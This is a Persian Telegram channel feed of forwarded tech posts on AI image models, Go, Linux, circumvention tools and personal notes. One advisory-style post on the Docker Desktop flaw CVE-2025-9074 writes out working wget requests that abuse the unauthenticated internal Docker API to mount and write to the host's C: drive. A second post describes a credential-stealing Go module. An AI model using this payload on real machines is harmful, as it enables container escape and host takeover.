Dev Perfects
40 subscribers
9.23K photos
1.26K videos
468 files
13K links
بخوام خیلی خلاصه بگم
این کانال میاد مطالب کانالای خفن تو حوزه تکنولوژی و برنامه نویسی رو جمع میکنه

پست پین رو بخونید
https://t.iss.one/dev_perfects/455


ارتباط:
https://t.iss.one/HidenChat_Bot?start=936082426
Download Telegram
Forwarded from Reza Jafari
فتوشاپ مرده، زنده باد Nano Banana ؟

این اسم بامزه در واقع لقب مدل جدید و پیشرفته Gemini 2.5 Flash Image هست که توسط Google DeepMind ساخته شده و حالا تو اپلیکیشن Gemini در دسترسه. این مدل تو ویرایش تصویر واقعاً متفاوت عمل می‌کنه و قابلیت‌هایی مثل multi-turn editing، photo blending و حفظ شباهت چهره‌ها، حیوانات و اشیا رو ارائه می‌ده، طوری که قبلاً کمتر دیده بودیم.

ماجرای Nano Banana هم خیلی جالبه؛ این اسم اول تو پلتفرم LMArena ظاهر شد، جایی که مدل‌های AI به صورت ناشناس با هم رقابت می‌کنن. عملکردش اونقدر خوب بود که توجه همه رو جلب کرد و بعد Google رسماً اعلام کرد که این اسم مربوط به Gemini 2.5 Flash Image هست.

حالا چی باعث شده Nano Banana اینقدر خاص باشه؟ اول از همه، Character Consistency که خیلی مهمه؛ وقتی تغییراتی روی محیط یا لباس اعمال می‌کنید، مدل می‌تونه چهره‌ها و اشیا رو درست و بدون اشتباه حفظ کنه. بعدش Multi-Image Blending هست که اجازه می‌ده چند تصویر رو با هم ترکیب کنید، مثلا خودتون و حیوان خانگی‌تون تو یه صحنه جدید تصور کنید. از طرفی، Natural Language Prompting خیلی راحت کرده؛ فقط کافیه چیزی بگید مثل “make her wear a cape” یا “blend in a pet”، و مدل بقیه کار رو انجام می‌ده. علاوه بر این، با World Knowledge خودش، تغییرات طبیعی و منطقی به نظر می‌رسن و با Watermarking for Transparency هم مشخص می‌کنه که تصویر تولید شده توسط AI هست.

کاربران هم از این ابزار استقبال زیادی کردن. تو Reddit خیلی‌ها می‌گن Nano Banana یه “پرش بزرگ” تو ویرایش تصویر هست و کیفیتش رو با نرم‌افزارهای حرفه‌ای مثل Photoshop مقایسه می‌کنن. تو تست‌ها و بررسی‌های شخصی خودم نتایج بهتری اکثر مواقع نسبت به Qwen Image Edit یا GPT 4o گرفتم ولی این طور نیست که مدل بدون عیب و خطا باشه، توی Style Transfer بنظرم نسبت به رقبای خودش ضعیف تر عمل کرده .

مدیرعامل گوگل، Sundar Pichai، هم با یه توییت ساده شامل سه ایموجی موز، برند Nano Banana رو معرفی کرد و گفت که Gemini 2.5 Flash Image آماده استفاده است.

برای توسعه‌دهنده‌ها و کسب‌وکارها هم Nano Banana از طریق Gemini API، Google AI Studio و Vertex AI در دسترسه و هزینه استفاده هم تقریباً $0.039 برای هر تصویر هست.

در کل، Nano Banana فقط یه اسم بامزه نیست؛ این مدل یه جهش بزرگ تو ویرایش تصویر با AI هست. کاربری راحت، خروجی‌های دقیق و با کیفیت و تجربه‌ای حرفه‌ای و مطمئن ارائه می‌ده. این ابزار می‌تونه خلاقیت رو افزایش بده، تو برندینگ و storytelling کمک کنه و با قابلیت‌هایی مثل watermark، استفاده مسئولانه از AI رو هم تضمین کنه.

🔗لینک دسترسی رایگان به مدل Nano Banana

🔤🔤🔤🔤🔤🔤🔤

🥇 اهورا اولین اپراتور هوش مصنوعی راهبردی ایران در حوزه ارائه خدمات و سرویس‌های زیرساخت هوش مصنوعی

🛍کد تخفیف ۱۰ درصدی محصولات اهورا برای اعضای کانال
AHURA5

🌐 لینک وب‌سایت اهورا

@reza_jafari_ai
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Agora (Alireza)
مستند پایتون هم در اومد. ماجرای زبان برنامه‌نویسی‌ای که دهه‌ی ۹۰، در یک گوشه‌ی از آمستردام، و مثل خیلی از بازیگرای اصلی دنیای کامپیوتری امروز، از یک پروژه‌ی فرعی متولد شد. با حضور Guido van Rossum و دوستان.

از یوتیوب ببینید.
Forwarded from یه شعر (Poem Bot)
مولانا | دیوان شمس | رباعیات | رباعی شمارهٔ ۱۵۲۷

یارب چه دلست این و چه خو دارد این
در جستن او چه جستجو دارد این
بر خاک درش هر نفسی سر بنهد
خاکش گوید هزار رو دارد این

#مولانا | گنجور
📍@iipoem
Forwarded from Gopher Academy
🔵 عنوان مقاله
how a malicious Go module was exfiltrating credentials via Telegram.

🟢 خلاصه مقاله:
در این یادداشت از Golang Weekly یک نمونه سوءاستفاده زنجیره تأمین در اکوسیستم Go شرح داده می‌شود: ماژولی که با اجرای پنهانی (مثلاً در init) اطلاعات حساسی مثل متغیرهای محیطی، کلیدهای ابری، اعتبارنامه‌های Git و SSH را جمع‌آوری و از طریق API ربات تلگرام به‌صورت HTTPS ارسال می‌کرد. استفاده از تلگرام به‌دلیل ترافیک قابل‌قبول و زیرساخت آماده، به مهاجم کمک می‌کند تا انتقال داده را پنهان کند. نشانه‌های کشف شامل ارجاع به api.telegram.org، رشته‌های مبهم‌سازی‌شده حاوی توکن/Chat ID، و منطق غیرعادی هنگام ساخت یا تست است. برای مقابله: قفل‌کردن نسخه و checksum وابستگی‌ها، استفاده از GOPROXY و پایگاه checksum، vendors کردن کتابخانه‌های حساس، بازبینی تغییرات، قطع دسترسی شبکه در محیط build/test، تحلیل ایستا برای آدرس‌های مشکوک، اسکن اسرار، و به‌کارگیری اعتبارنامه‌های کم‌اختیار و کوتاه‌عمر توصیه می‌شود. پیام نهایی: پیام‌رسان‌ها را به‌عنوان کانال‌های بالقوه خروج داده در نظر بگیرید و حتی وابستگی‌های کوچک را با دقت بررسی کنید.

🟣لینک مقاله:
https://golangweekly.com/link/173335/web


👑 @gopher_academy
Forwarded from جادی | Jadi
خب خب.. در تلاش برای بیشتر به اشتراک گذاشتن از زندگی شخصی، من در حال سفرم. الان مارسی فرانسه. شهری ۲۶۰۰ ساله!

شهر سالها پیش مشهور بوده به ناامنی ولی ده بیست است که با برنامه درست دولتی دارن مشکل رو حل میکنن. البته با بگیر و ببند نه.. با اضافه کردن روشنایی، جمع آوری زباله، زیاد کردن ارتباط با جاهای دیگه، کم کردن از عرض خیابان و اضافه کردن به پیاده رو در جاهای توریستی، حذف پارکینگ و کاشان درخت و .. و بسیار هم موفق بودن و عملا در ۱۲ سال چهره شهر رو کلی تغییر دادن.

#سفر #فرانسه
🔥1
یک لانچر ساده برای Usque به نام Masque-Plus نوشتم، که ثبت‌نام، پیکربندی و اجرای پروکسی SOCKS رو برای استفاده از پروتکل #مسک مدیریت میکنه.
سعی کردم از فلگ‌های مشابه وارپ‌پلاس برای این ابزار استفاده کنم و امکان پاس‌دادن اندپوینت هم فراهم بشه. در تلاشم در آپدیت‌های بعدی یه اسکنر داخلی ساده هم برای اندپوینت‌های مسک اضافه کنم.

👉 github.com/ircfspace/masque-plus

دانش من برای توسعه برنامه در سطح مبتدی بوده، پس اگر می‌تونین در توسعه و کمک برای دسترسی مردم به اینترنت آزاد قدم بردارید، کافیه PR بزنین.
در این‌روش مثل وارپ، آی‌پی ایران دریافت می‌کنین، ولی با آیپی اصلی شما تفاوت داره و البته نمی‌تونین باهاش از سد تحریم‌ها عبور کنین.
برنامه رو تست کنین و اگر مشکلی داشت از طریق ایشوهای گیت‌هاب گزارش بدین.

🔍 ircf.space
@ircfspace
ابزار DNS Tester یه ابزار آنلاینه که برای تست و مقایسه سرعت سرورهای دی‌ان‌اس ساخته شده و هدفش اینه که به کاربرا کمک کنه تا بر اساس موقعیت جغرافیایی و وضعیت اینترنتشون، سریع‌ترین و مناسب‌ترین سرور DNS رو پیدا و انتخاب کنن.

👉 darknessshade.github.io/DNS-Tester
💡 github.com/DarknessShade/DNS-Tester

🔍 ircf.space
@ircfspace
پارچ‌تان را نشکنید.

صفحه‌ای در ویکی پارچ به منظور آموزش برای استفاده صحیح از پارچ.

https://wiki.parchlinux.com/fa/DontBreakYourParch


@ParchLinux
Forwarded from Linuxor ?
این قانونه که می‌گه از تک حرفی برای اسم متغیر ها استفاده نکنید، یه استثنا داره که می‌گه queue رو می‌شه q گذاشت.

@Linuxor
Forwarded from Xero Notes
🐋 آسیب‌پذیری CVE-2025-9074 در Docker Desktop

اخیرا از آسیب‌پذیری جدیدی در Docker Desktop با شناسه CVE-2025-9074 کشف شده است که به مهاجمین این امکان را می‌دهد تا از داخل کانتینرها به سیستم میزبان دسترسی پیدا کنند. این آسیب‌پذیری به دلیل دسترسی بدون احراز هویت به API داخلی Docker بوده و به راحتی می‌توان با استفاده از یک درخواست HTTP ساده، دسترسی کامل به سیستم میزبان پیدا کرد.

💥 این آسیب‌پذیری چطور به وجود آمده است؟

در Docker Desktop نسخه‌های قبل از ۴.۴۴.۳، هر کانتینری می‌توانست به API Docker با آدرس http://192.168.65.7:2375 دسترسی داشته باشد بدون اینکه نیاز به احراز هویت برای استفاده از آن داشته باشد.. با استفاده از این دسترسی، مهاجم می‌تواند یک کانتینر جدید با دسترسی‌های ویژه راه‌اندازی کرده و در نهایت به فولدر C: در سیستم میزبان دسترسی پیدا کند. لازم به ذکر است که این آسیب پذیری در نسخه مک نیز قابل استفاده است و امکان دسترسی روت را برای مهاجم فراهم می‌کند.

💠 نمونه کد برای آزمایش آسیب‌پذیری

ابتدا یک کانتینر Alpine بسازید.
docker run -it alpine /bin/sh


سپس با استفاده از پیلود زیر، آسیب‌پذیری را تست کنید.
wget --header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /mnt/host_root/pwn.txt"],"HostConfig":{"Binds":["//c/host_root:/mnt/host_root"]}}' \
-O - https://192.168.65.7:2375/containers/create > create.json

cid=$(cut -d'"' -f4 create.json)
wget --post-data='' -O - https://192.168.65.7:2375/containers/$cid/start


این پیلود با ارسال یک درخواست HTTP به آدرس زیر،
192.168.65.7:2375/containers/create


یک کانتینر جدید با دستور echo pwned > /mnt/host_root/pwn.txt می‌سازد و با استفاده از قابلیت Volume در Docker، مسیر C:/host_root را به mnt/host_root/ در داخل کانتینر مپ می‌کند.

📊 امتیاز CVSS

این آسیب‌پذیری دارای امتیاز CVSS 9.3 (بحرانی) است و در وکتور CVSS زیر قرار می‌گیرد:

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H


راه‌حل
این آسیب پذیری در نسخه Docker Desktop ۴.۴۴.۳ برطرف شده است.

🔗 https://nvd.nist.gov/vuln/detail/CVE-2025-9074

#DockerSecurity #CVE #DockerDesktop
@Xero_Notes
Forwarded from !True
به نظرم این کار اشتباه ترین کار ممکنه.
ادمین وقتی به یک محبثی مسلط هست باید توی اون زمینه بیشتر پست و مباحث بزاره که هم خودش پیشرفت کنه و هم کاربرانی که توی اون حوزه هستن رو جذب کنه
اینکه ادمین دوتا پست از لاراول دوتا پست از جنگو دوتاپست از جاوااسکریپت بزاره هم کیفیت پست ها پایین میاد و هم دیپ شدن روی یک موضوع نیست و چندین تا موضوع میاد وسط و کلا کانال شلوغ میشه
Forwarded from 🎄 یک برنامه نویس تنبل (Lazy 🌱)
🔶 هر چه بیشتر می‌فهمم موفقیت و محبوبیت چگونه عمل می‌کند، بیشتر به این نتیجه می‌رسم که احتمالاً هر سال میلیون ‌ها انیشتین در فقر از دنیا می‌روند.

@TheRaymondDev
Forwarded from tiivik️
⭕️هر چیزی که طی ۲۰ سال در ردیت نوشته‌اید، حالا در یک آرشیو جمع شده است.
سرویس
Academic Torrents یک آرشیو عظیم از ردیت، شامل همه چیز از سال ۲۰۰۵ تا ۲۰۲۵، در دسترس قرار گرفته است.
در این مجموعه، تمام پست‌ها و نظرات کاربران در این بازه زمانی گردآوری شده‌اند، حجم کل داده‌ها حدود ۳.۴ ترابایت است، فایل‌ها بر اساس ماه دسته‌بندی شده و برای راحتی بارگیری فشرده شده‌اند.
🆔
@tiivik
Forwarded from Gopher Academy
🔵 عنوان مقاله
Building Ebitengine Games for Web Browsers

🟢 خلاصه مقاله:
این معرفی سه‌دقیقه‌ای از تروِر اسلوکِم نشان می‌دهد چگونه بازی‌های Ebitengine (موتور دوبعدی مبتنی بر Go) را برای مرورگر بسازیم. هسته کار این است: پروژه Go را با GOOS=js و GOARCH=wasm به WebAssembly کامپایل کنید، فایل wasm_exec.js را در صفحه HTML بگنجانید و بازی را روی یک canvas اجرا نمایید. در مرورگر باید به محدودیت‌های فایل‌سیستم، بارگذاری ناهمزمان دارایی‌ها، نیاز شروع صدا با تعامل کاربر، همگام‌سازی رندر با requestAnimationFrame و تفاوت‌های DPI و تغییر اندازه صفحه توجه کنید. برای دارایی‌ها از embed یا سرویس‌دهی مستقیم استفاده کرده و آن‌ها را برای وب بهینه کنید؛ کنترل‌ها را برای ماوس/کیبورد/تاچ طراحی و روی موبایل و مرورگرهای مختلف تست کنید. برای انتشار، یک میزبان استاتیک (مثل GitHub Pages/Netlify) کافی است، به شرط تنظیم MIME نوع application/wasm و HTTPS. نتیجه: مسیری سریع از ساخت دسکتاپ به وب با WebAssembly، یک HTML ساده و رعایت قیود مرورگر، مطابق راهنمای کوتاه و کاربردی نویسنده.

🟣لینک مقاله:
https://golangweekly.com/link/173337/web


👑 @gopher_academy
Forwarded from Agora (Alireza)
آمازون واقعا عجیبه.
کتاب A philosophy of software design
رو که بالاتر هم ازش تعریف کردم رو ازش سفارش دادم، امروز رسید. قیمتش ۲۲ یورو بود. ۲۲ یورو برای ۱۸۰ صفحه کتاب جلد کاغذی.

امروز که رسید یادم افتاد که یک کار دیگه هم میشه کرد. یه چرتکه انداختم دیدم اگر از اسکای‌بوک تو ایران سفارش بدم، با باری کیلویی ۱۰ یورو هم بخوان واسم بیارن، ارزون تر در میاد. گفتم اوکی پس میدم از اون ور سفارش می‌دم نهایتاً یک ماه دیگه میرسه. عجله‌ای هم نیست.

درخواست ری‌فاندو دادم، تو گزینه‌ها گزینه‌ی «با قیمت مناسب‌تر یه جا دیگه پیدا کردم» رو زدم، دیدم میگه کتاب بمونه پیش خودت پولشو می‌زنیم به اکانت آمازونت.

این سیستم مشتری‌مداری آمازون واقعا به قول اون بنده‌ی خدا the bestه. بار‌ها پیش اومده بود که این کار رو برای جنس‌های زیر ۵ یورو انجام بده. یا حتی وقتی که با این که بسته نرسیده بود دستم ولی استتوش خورده بود delivered پولو ریفاند کردن. عدد حدود ۱۲۰ یورو.

یک نکته راجع‌به این ریفاند پول کتاب هم واسم جالب بود. این که آمازون ترجیح میده تو توی سیستمش بمونی (با ریفاند پول به حساب خودت توی آمازون) ولی نری از اون فروشگاه محلی کتاب رو بخری. پول خیلی زیاد میتونه رقبا رو ببلعه. یک ریفاند، یک سفارش کمتر از اسکای‌بوک.
Forwarded from Linuxor ?
زبان نشانه گذاری YAML یکی از پرکاربرد ترین زبان هاست که توی کانفیگ ها و تعریف زیرساخت و CI/CD استفاده می‌شه به نظرتون چقدر YAML بلدید ؟ اینجا تستش کنید:

www.ohyaml.wtf

@Linuxor
Forwarded from Geek Alerts
گوگل به ۲.۵ میلیارد کاربر Gmail اطلاع داده که رمز عبورشون رو برای امنیت بیشتر آپدیت کنن، توی شبکه‌های اجتماعی این با تیتر هک شدن جیمیل منتشر شده که درست نیست، ماجرا اینه چند وقت اخیر رمز کاربران Gmail زیاد لو میره، یه دلیلش اینه که جیمیل هدف خوبی برای هکرهاست چون معمولا آدم‌ها همه‌چیز زندگیشون رو بهش وصل میکنن.

به خاطر همین ممکنه به کمک روش‌هایی مثل فیشینگ یا رمزهای ضعیف و لیک شده رمز اون لو بره. گوگل در واقع هشدار داده و گفته بهتره رمز رو عوض و ورود دو مرحله‌ای (2FA) رو فعال کنید. [L]

🤓 @geekalerts
Please open Telegram to view this post
VIEW IN TELEGRAM
یکی از بهترین مقاله‌هایی که چند وقت پیش خوندم و کمک بزرگی به معماری کدهام کرد. بنظرم مواردی که بهش اشاره میشه قابل اعتناست. مخصوصا که چند ماه گذشته رو به واسطه دو جابه‌جایی که داشتم، بیشتر مشغول کد خوندن بودم تا کد نوشتن.

https://github.com/zakirullin/cognitive-load